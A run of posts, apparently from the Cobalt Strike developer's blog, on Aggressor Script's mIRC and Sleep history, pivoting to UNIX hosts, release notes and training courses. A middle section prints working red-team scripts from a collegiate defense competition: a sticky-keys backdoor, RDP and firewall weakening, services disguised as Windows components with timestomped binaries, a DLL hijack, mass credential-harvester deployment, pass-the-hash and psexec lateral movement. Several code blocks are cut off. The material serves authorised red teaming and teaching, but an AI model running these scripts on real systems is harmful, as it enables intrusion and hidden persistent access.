Aggressor Script’s Secret mIRC Scripting Past

Aggressor Script is the scripting engine in Cobalt Strike 3.0 and later. If you want to learn more about it, I recommend reading the documentation. In this blog post, I’ll provide some history around Aggressor Script so you can better understand it and where it comes from.

The mIRC Factor

mIRC is a popular client for Internet Relay Chat. In the mid-nineties, I was part of a community of enthusiastic computer users who would interact with each other online. Through this community, I had mentors and I was exposed to Linux early on as well. mIRC was more than a GUI client to connect to IRC though. mIRC was also a programming environment. User scripts could create new IRC commands (aliases), respond to events, and even modify the presentation of mIRC’s output. This gave power users a lot of room to make mIRC their own.

How did we use this power? It depends on the user. Some would write theme scripts to express their artistic prowess. mIRC became their canvas, Cp437 characters their brushes. Others would write scripts to task multiple mIRC instances (clones) to send messages to a friend that elicit an automatic response. This friend’s automatic response to all mIRC instances would cause the IRC server to disconnect them for malicious flooding. These flooding games, among friends of course, were a popular use of mIRC scripting.

The jIRCii Factor

Inspired by my use of mIRC, I set out to build a cross-platform IRC client, jIRC. Later, I renamed this project to jiRCii. jIRCii was my first large software project. It was also my longest running project. I worked on variations jIRC/jIRCii from 1999 through my last update in 2011.


jIRCii was also scriptable AND it had an active scripting community for a time too. Users wrote theme scripts, integration with third-party programs, and various utilities to make it easier to manage IRC channels.

When I built jIRCii’s scripting features, I really wanted to capture the elements of mIRC scripting that I felt worked. I also wanted to do away with the elements that didn’t work for me. Aliases (the alias keyword) were a good abstraction to define new commands. This concept worked and it made its way into jIRCii. Events (the on keyword) were a good abstraction to respond to events from the IRC server and the IRC client itself. These made it into jIRCii as well.

mIRC scripters had a heavy desire to theme mIRC and present IRC events in different ways. Arguably, this theme was the identity of the script. Early on, scripts would couple the theme information and the script’s functionality together. This tied a script to one theme though. Later, scripts would feature custom theme files that separated the presentation of output from the script’s other functionality. The early implementations of these themes were aliases (these did double-duty as subroutines in mIRC) that followed a naming convention. For example:

     return < $+ $1 $+ > $2-

Scripts would hook the different mIRC events, execute their normal logic for these events, and finish up by calling the appropriate theme function and reporting its results back to the user. The popularity of this convention informed jIRCii’s set keyword. jIRCii’s set keyword allows scripters to define how the client presents any of its output to the user. In fact, the client doesn’t have a default presentation of anything. The client’s defaults are defined in a built-in script.


Delegating default presentation to a script also streamlined jIRCii’s development process. I could focus on core features without thinking too much about the aesthetics of a feature. When it came time to work on the aesthetics, I could try things without restarting the client.

I applied the same concepts to jIRCii’s menubar and context-sensitive popup menus as well. jIRCii doesn’t define these things in its code, it delegates all of them to the default script. Again, jIRCii’s abstraction for user-defined menus, popups, and menu items were inspired by mIRC’s scripting engine.

jIRCii’s Scripting Language

Early into jIRCii’s life, I dabbled with different ways to give users control over the client. In the late-90s and early-2000s, there were not a lot of scripting engines built on top of Java. There was Beanshell, whose goal was to stay as close to Java as possible. There was Jacl, which was TCL on Java. While TCL was used as a scripting engine in some IRC clients, I wasn’t able to wrap my head around it at the time. Years later, I appreciate TCL much more. And, there was Jython which was a Python implementation for Java.

I wasn’t in love with any of the above options as an embedded scripting language. I really wanted a small language that I could extend with new constructs that exposed my application’s features. My goal with the scripting feature set was to court mIRC users. To do so, I needed a solution that didn’t feel aesthetically alien to mIRC scripters. I also wanted something a first-time programmer could reasonably pick up on his or her own.

The Sleep Factor

I didn’t expect that I would write jIRCii’s general purpose scripting language. I also didn’t expect that Armitage/Cobalt Strike would evolve into a stand-alone offensive platform either. Sometimes, when you decide to see a project through, you sign up for much more than you expected. Here’s the story behind the Sleep scripting language.

A common exercise for undergraduate Computer Science students is to build a simple programming language. Like other Computer Science students, I went through the exercise of building a simple LISP-like language interpreter in LISP. This learning exercise was my first exposure to BNF, recursive descent parsers, Abstract Syntax Trees, and interpreters. This exercise clicked with me and it very much whetted my appetite to explore these ideas further.

After I turned in the above assignment, I decided to sequester myself in a campus computer lab for the weekend. I set out to define a small language with aesthetical similarities to my then-favorite language, Perl. I built a lexical analyzer, a parser, and an interpreter for this simple language in a few days. This was the first version of Sleep. That was 2002.


I saw Sleep as a potential solution to my scripting conundrum for jIRCii. I would build Sleep as a small extensible language to embed into other applications. My initial target application was jIRCii. In a way, Sleep and jIRCii co-evolved with each other.

I started work on Sleep 2.0 around 2005. To me, a change in major version represents a change in fundamental assumptions and a strategic shift. Cobalt Strike’s early versions dabbled in a lot of ideas beneficial to red teaming. Cobalt Strike 2.0 was a concrete shift towards threat emulation with Malleable C2. Cobalt Strike 3.0 re-built Cobalt Strike as a platform for Red Team Operations and Adversary Simulations without the Metasploit Framework. Sleep 2.0 was a similar major shift. Sleep evolved from a very simple language to one that could call into Java’s APIs. This gave my scripters benefits similar to the ones PowerShell scripters enjoy calling the .NET API from PowerShell. I also added closures, coroutines, and continuations as language features. These additions gave Sleep a lot of power.

Sleep’s last update was in 2009. I stopped working on Sleep because at that point, the project met its original goals. It was also stable and feature complete to a reasonable point.

Since the mid-2000s, I’ve used Sleep quite a lot. When I was at the Air Force Research Lab, I used Sleep as a scripting engine in my various project prototypes. I kept Sleep integrated into jIRCii and as I mentioned previously, jIRCii had a healthy scripting community. I built a web application container for Sleep and for a time, I used Sleep for limited web application work. I also built the After the Deadline software service in Sleep. Finally, I tried to use Sleep as an application language. The lucky project to receive this treatment? Armitage.

I consider that a failed experiment. Much like other scripting languages, Sleep has a concept of a Global Interpreter Lock. Sleep’s GIL is a nuisance when building a multi-threaded GUI application that needs to interact with a server component. My choice to use Sleep is partially responsible for Armitage’s tendency to deadlock and some of the performance issues. Cobalt Strike 3.0 and later do not use Sleep as the application implementation language.


Cortana is the scripting engine in Armitage. This was a seven-month effort funded by DARPA’s Cyber Fast Track program. It was Mudge’s intent that CFT fund new efforts, not enhancements to existing ones. To pitch Cortana for CFT, I had to have an angle. Armitage was already a decent effort exploring red team collaboration among human actors. Why not take this to the next level and explore red team collaboration ideas between humans and bots? This was the idea behind Cortana.

Fortunately, Cortana was not my first scriptable application rodeo. I had experience with a base language (Sleep). I also knew what it would take to integrate this base language into an application (thanks jIRCii). This made it easy to explore the ideas that were the meat of the effort (positive control concepts, a headless client for bots, etc.)

Cortana brought some of jIRCii (and mIRC)’s scripting concepts into Armitage. It had events to respond to things that happened on the team server and within the client. I had one milestone focused on APIs for the Armitage GUI itself (e.g., popup menus and the like). I also had a milestone to strip Armitage to nothing and re-implement Armitage’s features in Cortana. I wanted to see if I could push the balance of “default script” stuff much further than jIRCii. I wasn’t happy with the results of this particular experiment and decided against adopting this for production Armitage. Consequently, production Armitage delegated nothing to its built-in scripting engine.

I released Cortana at DEF CON 20. Not only was it the largest audience I’ve spoken to in one room. It was also the one time I lost my voice before a talk as well.

The Cortana technology in Cobalt Strike (prior to 3.0) was mostly the same as the Cortana technology in Armitage. Over time though, I noticed that Cobalt Strike users had a much higher interest in Cortana than Armitage users. I had a non-trivial number of customers who had unzipped the cobaltstrike.jar file, figured out the Beacon RPC API, and were building scripts with this to automate and control Beacon. This was a lot of effort for these users to go to. I tried to meet these users half-way by publishing a partial Cortana API to script and control Beacon. All of this was a big obvious sign that I needed to expose a way to script Cobalt Strike’s features.

The Dark Corners of Cobalt Strike 3.0

Cobalt Strike 3.0 was a ground-up rewrite of Cobalt Strike’s GUI client and team server, notably without dependence on the Metasploit Framework.

I’m often asked why I changed X or Y in Cobalt Strike 3.0. I’m sometimes asked why did I bother with such large changes to a mature product? Depending on the context, I give different answers. The full answer is this: I learned a lot about my red team user base while selling and building Cobalt Strike 2.5 and its predecessors. These lessons included things my product didn’t do well and things my product would need to handle, eventually, to stay relevant to that user base.

One example of this is logging and reporting. Prior to 3.0, Cobalt Strike’s logging was borderline useless. Also, prior to 3.0, Cobalt Strike’s reporting was potentially beneficial to a penetration tester, but it didn’t show much imagination for the red teaming use case. There are a lot of reasons these things were the way they were, but ultimately, the 3.0 work was a chance to set some of these things right. Today, the reporting and logging are cited as one of the strengths in Cobalt Strike 3.0 and later.

No single insight, feature, or need drove the development of Cobalt Strike 3.0. It was the accumulation of all the user needs I wanted to tackle, but couldn’t with the old codebase and its dependencies. I didn’t take this decision lightly though…

I’m a big fan of Joel Spolsky’s Joel on Software blog. One post that sticks with me is Things You Should Never Do, Part I. In this post, Joel describes this mistake as the single worst strategic mistake any company can make. What is it? It’s to rewrite their code from scratch. I, as a single developer, knowingly decided to commit this very sin. The decision to rewrite Cobalt Strike could have ruined my company and destroyed my professional efforts going back to late-2011. Bluntly, people do their jobs with this toolset and they pay fairly for the privilege. My biggest fear is that my instincts were off and I was investing in the wrong ideas.

Six months later, all signs seem to indicate that Cobalt Strike 3.0 was the right move. The new product is very stable and performs much better than its predecessors. To many of my users, 3.0 was business as usual. I seem to have kept the things they used Cobalt Strike for, added some things they wanted, and discarded what they didn’t use. I’ve used 3.0 a few times now and I’ve been very happy with it. It’s a good product and it’s fun to use.

Aggressor Script

Scripting is one of those places where Cobalt Strike 3.0 gave me a second chance. Aggressor Script is the Cobalt Strike 3.0 successor to Cortana. Aggressor Script is not compatible with Cortana. It can’t be. Cortana builds on Armitage’s interface to the Metasploit Framework. Aggressor Script builds on Beacon and Cobalt Strike 3.0’s team server.

During Cobalt Strike 3.0’s development, I had a rule: no experiments. I knew the risk I was (already) taking with the rewrite. I wanted to stick with my lessons learned and my personal best practices as much as possible.

Cobalt Strike 3.0’s first milestones were a team server and a simple GUI client. The team server would act as a broker to receive messages from clients, broadcast messages to clients, and play previous messages back to new clients. On this initial foundation, I built Cobalt Strike 3.0’s first feature: the event log.

I remember demoing this early progress to a customer. I had a /names command, /msg, and /me. I also had the ability to redefine Cobalt Strike’s presentation of event log output through a default script. I joked that my goal was to replace Cobalt Strike 2.5 with a very nice, very expensive, IRC client.

All joking aside, I borrowed a lot of concepts from jIRCii in the design of Cobalt Strike 3.0. This is especially evident with Aggressor Script. Aggressor Script uses the set keyword to define how the client presents output to the user. Aggressor Script uses the on keyword to respond to events. Aggressor Script also uses the alias keyword to define new commands in Beacon. I also use scripting conventions from jIRCii to script menus and keyboard shortcuts. Much like jIRCii, Cobalt Strike 3.0 defines its representation of events and menu structure in a default built-in script. A lot of these conventions in jIRCii were heavily inspired by mIRC scripting.

So there you have it, that’s Aggressor Script’s Secret mIRC scripting past. There’s an irony here. In the 90s, some folks would use the scripting engine in their chat program to build hacking tools. Now, 20 years later, I use the scripting engine in my hacking tool to build chat tools. Pretty funny.

Pics or it didn’t happen…

One of the most important things in a red teamer’s job is evidence. If you can’t demonstrate impact and make a risk real, it’s as if you didn’t find the problem. Screenshots go a long way towards this.

Cobalt Strike has several options to capture screenshots during your engagement. In this post, I’ll quickly take you through them.


The Ctrl+P shortcut snaps a picture of the current sessions in Cobalt Strike. If the pivot graph is active, you will get the whole graph (regardless of size) in one image.



The Ctrl+T shortcut takes a screenshot of the current Cobalt Strike tab.



The Ctrl+Shift+T shortcut takes a screenshot of your whole Cobalt Strike window.


Where do my screenshots go?

This is the best part. Cobalt Strike pushes these screenshots to the team server. This way, your screenshots and your team’s screenshots are in one place. The screenshots are located in the [/path/to/cobaltstrike]/logs/[date]/screenshots folder. Each screenshot’s name includes the time it was taken and the context it was taken from (e.g., the title of the tab).


Note: Target screenshots, taken during your post-exploitation activities, are organized and stored on the team server as well. These are located in:

Linux, Left out in the Cold?

I’ve had several folks ask about Linux targets with Cobalt Strike 3.0 and later. Beacon is a Windows-only payload. The big question becomes, how do you use Cobalt Strike to operate against Linux, BSD, and other UNIX flavored targets?

Cobalt Strike is not the master unified interface for all hacking tasks. Rather, Cobalt Strike is a toolset to facilitate targeted phishing, covert post-exploitation, and lateral movement in a typical Windows enterprise environment. I didn’t forget about other targets though. Beacon has a built-in port scanner to help find them. I also provide options to use Beacon as a communication layer to bring other tools into the engagement (when it makes sense).

It’s quite easy to use Cobalt Strike as a jumping off platform to reach UNIX server targets. In this blog post, I’ll share a few recipes to do so.

Access Strategies

Cobalt Strike does not have tools to find vulnerabilities in and exploit UNIX targets. If there’s an exploit or attack you want to use, tunnel it through Cobalt Strike’s Beacon.

Optionally, target a system administrator’s Windows workstation and use that access to steal trust material to take a UNIX target. There are a lot of options here.

Cobalt Strike has keystroke logging and screenshot tools designed for long-term operations. The Red Team Field Manual has an interesting recipe to log all keystrokes and output from Putty sessions. You can also look at tools like, PuttyRider, which lets you inject into Putty and do interesting things.

Finally, if you observe a user interacting with a web interface to a device or server, try a browser pivot to interact with that site, as them. Browser Pivoting is Cobalt Strike’s man-in-the-browser session hijacking capability.

Tunnel SSH over Beacon

Cobalt Strike’s Beacon exposes a SOCKS interface for pivoting. SOCKS is a standard for proxy servers and proxy-aware clients. To create a SOCKS interface tied to a Beacon:

1. Interact with a Beacon

2. Type sleep 0 to ask to the Beacon to check-in multiple times each second. A high check-in time will introduce latency into your tunneled traffic.

3. Type socks 1234 to create a SOCKS proxy server on port 1234 of your team server.

At this point, you have a listening socket, on your team server, ready to receive connections from proxy-aware clients. The Beacon associated with this SOCKS server will initiate any connections requested by a SOCKS client. Once a connection is made, Cobalt Strike relays all traffic between the SOCKS client and the new connection via Beacon’s communication path (whatever it is).


Some applications have built-in support for SOCKS. Other applications do not. If you want to use an application that is not SOCKS aware, try out proxychains.

The proxychains program accepts a program name and program arguments as its arguments. Any outbound TCP connection made the specified program is forced through a proxy server. This proxy configuration is specified in a global configuration file (/etc/proxychains.conf).

To tunnel SSH through a SOCKS proxy server with proxychains:

4. Open /etc/proxychains.conf with your favorite text editor.

5. Scroll to the bottom of the file.

6. Change the lines under [ProxyList] to:

socks4 1234

7. Save the file.

8. In a new terminal, type: proxychains ssh user@target

Your SSH session will now tunnel through Cobalt Strike’s Beacon payload.

Tunnel Beacon over SSH

You may run into a situation where you need to tunnel Cobalt Strike’s Beacon through a compromised Linux target to attack a Windows network. I’ve had this happen and I’ve heard stories from others with a similar situation. I can’t say this is something you’ll see often, but it’s a good exercise in tunneling flexibility.

Here’s the scenario:

I can reach a Linux target over SSH. This Linux target can talk to a Windows network I want to attack. I have credential material for the Linux target. I also have credential material for a Windows target. I want to attack the Windows target with Cobalt Strike.

Here are the steps:

1. From a red Linux asset, run: ssh –D 1080 user@linux_target. This command will create an SSH session and a SOCKS proxy server, bound to port 1080 on the red Linux asset, that forwards all connections through the SSH tunnel. In effect, this proxy allows us to make connections from the compromised Linux target.

2. On the red Linux asset, forward port 445 to reach a Windows target through the SSH SOCKS Proxy server. Here’s the socat recipe for this: socat TCP4-LISTEN:445,fork SOCKS4: Anything that touches this red Linux asset on port 445, will now reach the Windows target on port 445.

3. Run a Beacon on a red Windows asset. Cobalt Strike’s attacks are deployed to and run by Beacon directly. This plays well with Cobalt Strike’s model of offense.

4. Create a named pipe listener in Cobalt Strike. Go to Cobalt Strike -> Listeners. Press Add. Choose the windows/beacon_smb/bind_pipe payload.

5. Through the red asset Beacon, create an access token from credential material for an Administrator user on the target Windows system. Use make_token [DOMAIN\user] [password] if you have credentials. Use pth [DOMAIN\user] [hash] if you have an NTLM hash.

6. Attack the Windows target (via the Linux port forward) with psexec or psexec_psh .


Cobalt Strike will run Beacon, stage it, and assume control of the host over port 445. Since we’re targeting a port forward on a pivot system, this process will ride over our SSH tunnel. You now have a Beacon foothold, in another network, tunneled through a Linux target.

Control UNIX Targets with PowerShell

rvrsh3ll published an Invoke-SSHCommand PowerShell cmdlet. This script runs a command over SSH and returns its output to you. Here’s how to use this script with Beacon:

1. Download the Misc-PowerShell Scripts repository from Github

git clone

2. Interact with a Beacon

3. Use powershell-import /path/to/Invoke-SSHCommand.ps1 to import rvrsh3ll’s script into Beacon.

4. Run powershell Invoke-SSHCommand –ip [target] –username [user] –password [password] –command “uname –a”

These steps will run the uname –a command on a target of your choosing. Be aware that this script does require .NET 3.5 on the target or it won’t work.

If you find it cumbersome to type these commands again and again, you can use Aggressor Script to define an ssh alias in Beacon:

# beacon> ssh [target] [user] [pass] "[command + args]"
alias ssh {
    ($bid, $target, $user, $pass, $what) = @_;
    bpowershell_import($bid, script_resource("Invoke-SSHCommand.ps1"));
    bpowershell($bid, "Invoke-SSHCommand -IP $target -Username $user -Password $pass -Command \" $+ $what $+ \"");

The Post Exploitation and Pivoting lectures of Advanced Threat Tactics covers many of the concepts in this blog post.

My Cobalt Strike Scripts from NECCDC

I just returned from the North East Collegiate Cyber Defense Competition event at the University of Maine. A big congratulations to the winners, Northeastern University, who will go on to represent the North East region at the National event in April.

The more I use Cobalt Strike 3.x, the more I appreciate Aggressor Script. Aggressor Script is the scripting engine baked into Cobalt Strike. It makes it easy to extend the tool with new commands and automate tasks. This post is a collection of my scripts from the North East CCDC event.

Mass Tasking Beacons

Here and there, I would need to mass-task all Beacons to do something. For example, on late Saturday we wanted to display a YouTube video on all compromised desktops. Here’s how to mass task Beacons with Aggressor Script:

1. Go to the Aggressor Script Console (View -> Script Console)

2. Type:

x map({ bshell($1['id'], "command to run here"); }, beacons());

The above one-liner will run whatever command you want on all of your Beacons. Here’s a quick walk-through of what’s happening:

The x command is an Aggressor Script console command to evaluate a script expression. The beacons() function returns an array of Beacons known to the current Cobalt Strike instance. The map function loops over this array and calls the specified function once, for each element in this array. Within our function, $1 is the first argument and in this case it’s a dictionary with information about a specific Beacon. $1[‘id’] is the Beacon’s ID. In this example, our function simply uses bshell to ask a Beacon to run a command in a Windows command shell. Most Beacon commands have a function associated with them.

During the event, I was asked to deploy a credential-harvesting tool to all Beacons. This required uploading a DLL to a specific location and running a PowerShell script. I used the command keyword to define new commands in the Aggressor Script console to accomplish these tasks.

Here’s the command to upload a DLL to all Beacons:

command upall {
    foreach $beacon (beacons()) {
        $id = $beacon['id'];
        binput($id, "Deploying Silas stuff (uploading file)");
        bcd($id, 'c:\windows\sysnative');
        bupload($id, script_resource("windowsdefender.dll"));
        btimestomp($id, "windowsdefender.dll", "notepad.exe");

And, here’s the command to run a PowerShell script against all Beacons:

command deploy {
    foreach $beacon (beacons()) {
        $id = $beacon['id'];
        binput($id, "Deploying Silas stuff");
        bpowershell_import($id, script_resource("silas.ps1"));
        bpowershell($id, "2 + 2");

You’ll notice that I use bpowershell(“beacon ID”, “2 + 2”) here. I do this because the imported PowerShell script did not wrap its capability into a cmdlet. Instead, it would accomplish its task once it’s evaluated. The powershell-import command in Beacon is inert though. It makes a script available to the powershell command, but does not run it. To make the imported script run, I asked Beacon to evaluated a throw-away expression in PowerShell. Beacon would then run the imported script to make its cmdlets available to my expression.


I went with a simple Windows persistence strategy at NECCDC. I installed a variant of the sticky keys backdoor on all compromised Windows systems. I also created a service to run my DNS Beacons. I relied on DLL hijacking against explorer.exe to run HTTP Beacons. On domain controllers, I relied on a service to kick-off an SMB Beacon. I also enabled WinRM on all compromised Windows systems as well.

Here’s the function to setup the sticky keys backdoor and enable WinRM:

sub stickykeys {
    binput($1, 'stickykeys');
    bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f');
    bshell($1, 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe" /f');
    bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d "0" /f');
    bshell($1, 'netsh firewall set service type = remotedesktop mode = enable');
    bshell($1, 'netsh advfirewall firewall set rule group="remote desktop" new enable=Yes');
    bshell($1, 'net start TermService');
    binput($1, 'enable WinRM');
    bpowershell($1, 'Enable-PSRemoting -Force');

And, here are the functions to deploy the different services:

sub persist_adsvc {
    if (-exists script_resource("adsvc.exe")) {
        binput($1, "service persistence (server) [AD]");
        bcd($1, 'c:\windows\system32');
        bupload($1, script_resource("adsvc.exe"));
        btimestomp($1, "adsvc.exe", "cmd.exe");
        bshell($1, 'sc delete adsvc');
        bshell($1, 'sc create adsvc binPath= "C:\windows\system32\adsvc.exe" start= auto DisplayName= "Active Directory Service"');
        bshell($1, 'sc description adsvc "Provides authentication and policy management for computers joined to domain."');
        bshell($1, 'sc start adsvc');
    else {
        berror($1, "adsvc.exe does not exist :(");
sub persist_netsys {
    if (-exists script_resource("netsys.exe")) {
        binput($1, "service persistence");
        bcd($1, 'c:\windows\system32');
        bupload($1, script_resource("netsys.exe"));
        btimestomp($1, "netsys.exe", "cmd.exe");
        bshell($1, 'sc delete netsys');
        bshell($1, 'sc create netsys binPath= "C:\windows\system32\netsys.exe" start= auto DisplayName= "System Network Monitor"');
        bshell($1, 'sc description netsys "Monitors the networks to which the computer has connected, collects and stores information about these networks, and notifies registered applications of state changes."');
        bshell($1, 'sc start netsys');
    else {
        berror($1, "netsys.exe does not exist :(");
sub persist_linkinfo {
    # dll hijack on explorer.exe
    if (-exists script_resource("linkinfo.dll")) {
        binput($1, "dropping linkinfo.dll persistence");
        bcd($1, 'c:\windows');
        bupload($1, script_resource("linkinfo.dll"));
        btimestomp($1, "linkinfo.dll", 'c:\windows\sysnative\linkinfo.dll');
    else {
        berror($1, "linkinfo.dll not found.");

Each of these functions requires that the appropriate artifact (adsvc.exe, netsys.exe, and linkinfo.dll) is pre-generated and co-located with the persistence script file. Make sure your linkinfo.dll is the right type of DLL for your target’s architecture (e.g., on an x64 system, linkinfo.dll must be an x64 DLL).

To deploy persistence, I opted to extend Beacon’s right-click menu with several options. This would allow me to send persistence tasks to a specific Beacon or multiple Beacons at one time.

Here’s the code for this menu structure:

popup beacon_top {
    menu "Persist" {
        item "Persist (DNS)" {
            foreach $bid ($1) {
        item "Persist (HTTP)" {
            foreach $bid ($1) {
        item "Persist (SMB)" {
            foreach $bid ($1) {
        item "Sticky Keys" {
            foreach $bid ($1) {

Managing DNS Beacons

Cobalt Strike’s DNS Beacon is one of my preferred persistent agents. The DNS Beacon gets past tough egress situations and a combination of high sleep time and multiple callback domains makes this a very resilient agent.

The downside to the DNS Beacon is it requires management. When a new DNS Beacon calls home, it’s blank. It’s blank because the DNS Beacon does not exchange information until you ask it to. This gives you a chance to specify how the DNS Beacon should communicate with you. Here’s a script that uses the beacon_initial_empty event to set a new DNS Beacon to use the DNS TXT record data channel and check in:

on beacon_initial_empty {
    binput($1, "mode dns-txt");
    bmode($1, "dns-txt");
    binput($1, "checkin");

Labeling Beacons

The NECCDC red team organizes itself by function. Parts of the red team went after UNIX systems. Others infrastructure. A few were on web applications. Myself and a few others focused on the Windows side. This setup means we’re each responsible for our attack surface on 10 networks. Knowing which Beacon is associated with each team is very helpful in this case. Fortunately, Aggressor Script helped here too.

First, I created a dictionary to associate IP ranges with teams:

%table["100.65.56.*"] = "Team 1";
%table["100.66.66.*"] = "Team 2";
%table["100.67.76.*"] = "Team 3";
%table["100.68.86.*"] = "Team 4";
%table["100.69.96.*"] = "Team 5";
%table["100.70.7.*"]  = "Team 6";
%table["100.71.17.*"] = "Team 7";
%table["100.72.27.*"] = "Team 8";
%table["100.73.37.*"] = "Team 9";
%table["100.74.47.*"] = "Team 10";

Then, I wrote a function that examines a Beacon’s meta-data and assigns a note to that Beacon with the team number.

sub handleit {
    local('$info $int');
    $info = beacon_info($1);
    $int = $info['internal'];
    foreach $key => $value (%table) {
        if ($key iswm $int) { bnote($1, $value); return; }

This isn’t the whole story though. Some of our persistent Beacons would call home with localhost as their address. This would happen when our Beacon service ran before the system had its IP address. I updated the above function to detect this situation and use bipconfig to fetch interface information on the system and update the Beacon note with the right team number.

sub handleit {
    local('$info $int');
    $info = beacon_info($1);
    $int = $info['internal'];
    foreach $key => $value (%table) {
        if ($key iswm $int) { bnote($1, $value); return; }
    # if we get here, IP is unknown.
    binput($1, "IP is not a team IP. Resolving");
    bipconfig($1, {
        foreach $key => $value (%table) {
            if ("* $+ $key" iswm $2) {
                binput($1, "IP info is $2");
                bnote($1, $value);

My script used the beacon_initial event to run this function when a new Beacon came in:

on beacon_initial {

I also had an Aggressor Script command (label) to manually run this function against all Beacons.

command label {
    foreach $beacon (beacons()) {

The end effect is we always had situational awareness about which teams each of our Beacons were associated with. This was extremely helpful throughout the event.

One-off Aliases

My favorite part of Aggressor Script is its ability to define new Beacon commands. These are called aliases and they’re defined with the alias keyword. Through NECCDC I put together several one-off commands to make my life easier.

One of our tasks was to expand from our foothold on a few Windows client systems to other systems. We had multiple approaches to this problem. Early on though, we simply scanned to find systems where the students disabled their host firewall. Here’s the alias I wrote to kick off Beacon’s port scanner with my preferred configuration:

alias ascan {
    binput($1, "portscan $2 445,139,3389,5985,135 arp 1024");
    bportscan($1, $2, "445,139,3389,5985,135", "arp", 1024);

To run this alias, I would simply type ascan [target range] in a Beacon console.

I also had an alias to quickly launch a psexec_psh attack against all the other client systems as well. I just had to type ownall and Beacon would take care of the rest.

alias ownall {
    bpsexec_psh($1, "ALDABRA", "Staging - HTTP Listener");
    bpsexec_psh($1, "RADIATED", "Staging - HTTP Listener");
    bpsexec_psh($1, "DESERT", "Staging - HTTP Listener");
    bpsexec_psh($1, "GOPHER", "Staging - HTTP Listener");
    bpsexec_psh($1, "REDFOOT", "Staging - HTTP Listener");

If you made it this far, I hope this post gives you a sense of the power available through Aggressor Script. I can’t imagine using Cobalt Strike without it. It’s made mundane tasks and on-the-fly workflow changes very easy to deal with.

Cobalt Strike 3.2 – The Inevitable x64 Beacon

Cobalt Strike 3.2, the third release in the 3.x series, is now available. The 3.2 release focuses on fixes and improvements across the Cobalt Strike product.

x64 Beacon

Cobalt Strike’s x86 Beacon plays pretty well in an x64 world. You can inject the keystroke logger and screenshot tools into 64-bit processes. If you run mimikatz or hashdump, Beacon uses the right build of these tools for the system you’re on. Cobalt Strike’s user-driven attacks even do the right thing when they land code execution in an x64 application.

That said, an x86-only payload is a burden. It limits which processes you can inject into. This can hurt your ability to hide. Cobalt Strike 3.2 resolves this with the introduction of the x64 Beacon.


From an operator perspective, not much is different. Cobalt Strike listeners prepare x86 and x64 Beacon stages. Beacon’s inject command has an architecture parameter now. The commands and workflows between the x86 and x64 Beacon are the same.

Target Acquisition via Groups

One of my go-to methods to discover hosts is to query the Domain Computers and Domain Controllers groups in a domain. These groups contain the computer accounts for systems joined to a domain. I usually use nslookup to map these names back to IP addresses.

Cobalt Strike 3.2 introduces automation for this process. The net computers command queries the above groups, resolves the names to IP addresses (where it can), and presents this information to you. Cobalt Strike also populates the targets data model with this target information.


Time to Reset

Jason stands up a Cobalt Strike team server. He configures a listener, sets up an attack package, and clones a website. Jason’s teammate, Jennifer, uses this team server to send a test phishing email to make sure it all works OK. Jason and Jennifer do not want this test to show up in Cobalt Strike’s reports. What do they do?

Jason and Jennifer tear down their team server, delete the data folder, start the team server, reconfigure everything, and hope they do it right. True story.

Cobalt Strike 3.2 adds Reporting -> Reset Data. This option allows you to reset Cobalt Strike’s data model without restarting the team server. This feature doesn’t touch your listeners or hosted sites. It does allow you to stand up a ready-to-go attack, test it, and then reset Cobalt Strike’s data model for reporting purposes.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.2. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

A History of Cobalt Strike in Training Courses

In 2011, I was invited to Austin, TX by the local ISSA and OWASP chapters to teach a class on Armitage and the Metasploit Framework. I think we had 90 students. I remember the pain of burning DVDs in preparation for this class. Myself and two of the organizers agreed to split the DVD burning load equally. Fun times.

This workshop also had the first version of my Penetration Testing Lab DVD. It came with a Xubuntu VM for an attack platform, Metasploitable for a remote exploit lab, and a Mint Linux VM for a client-side attack lab.

This half-day workshop was my first time giving a course on hacking. If you want to see it, I also made a screen recording from the slides:

Advanced Threat Tactics (2011)

October 2011, I came to LAS CON and taught a one-day Advanced Threat Tactics course (slides). The subtitle of this 2011 course? From penetration testing to threat emulation. This course was a lot of fun to teach. I taught my students how to execute targeted phishing attacks against then-modern enterprises. We covered how to build a system profiler, cobble together user-driven attacks, and how to send a phishing email by hand.

The timing of this course was good. Shortly after that course, I set to work on a functional specification for what would become Cobalt Strike. It’s hard to pick an initial feature set for a product. You don’t want to pick 10 features and take each of them to the 10% point. The trick is to find 1 or 2 things that are important and take each of them to the 80-90% point. I decided to use my 2011 course as a guide. Cobalt Strike would provide features for actions that 2011’s Advanced Threat Tactics students had to do by hand.

Penetration Testing with Cobalt Strike (2012)

Cobalt Strike’s 2012 release consisted of Armitage, a targeted attack process, and a reporting engine. To me, Cobalt Strike’s initial release was a big blank canvas. I perceived a lot of gaps in the Metasploit Framework and other tools when applied to the red team problem set. Cobalt Strike was my opportunity to work full-time on these and see what I could come up with. Cobalt Strike’s 2012 initial release also came with a new course: Penetration Testing with Cobalt Strike.

In the 12 months after Cobalt Strike’s first release, I got a lot done. I introduced Beacon, Cobalt Strike’s Applet Kit, and a model for distributed operations. I also added DNS communication and SOCKS pivoting to Beacon. The DNS piece was significant. I now had a desirable communication option that most didn’t have access to. The SOCKS pivoting capability led to the ‘meterpreter’ command. This command would seamlessly tunnel Meterpreter through Beacon. I now had an alternate communication layer for Metasploit, without sacrificing features or ease of use!

Tradecraft (2013)

By mid-2013, it was clear that Cobalt Strike’s online material was out of step with what the product had become. I had to redo my online course. I wanted to do it “right” and I wanted it to be as engaging as possible. I bought a microphone so I could make the audio better. I also bought a tablet to whiteboard different concepts during the course. It took about a month to update my slides and record the new course. The result was 2013’s Tradecraft:

As an aside, the whole experience of putting this course together was a nightmare. I had trouble getting used to the tablet and I couldn’t find software to seamlessly change colors without interrupting my presentation. I also had struggles with audio. My office space at the time had too much echo. The best location was the carpeted bedroom in my apartment. To record Tradecraft, I sat cross-legged on my bedroom floor with my laptop propped up on books. If you watch this course, try to imagine this scene.

I was very happy with the final result of the 2013 Tradecraft course. I saw Tradecraft as the culmination of my initial vision for Cobalt Strike. By this point, I had a very solid platform for red team operations, built on top of the Metasploit Framework.

The Road to Cobalt Strike 3.0

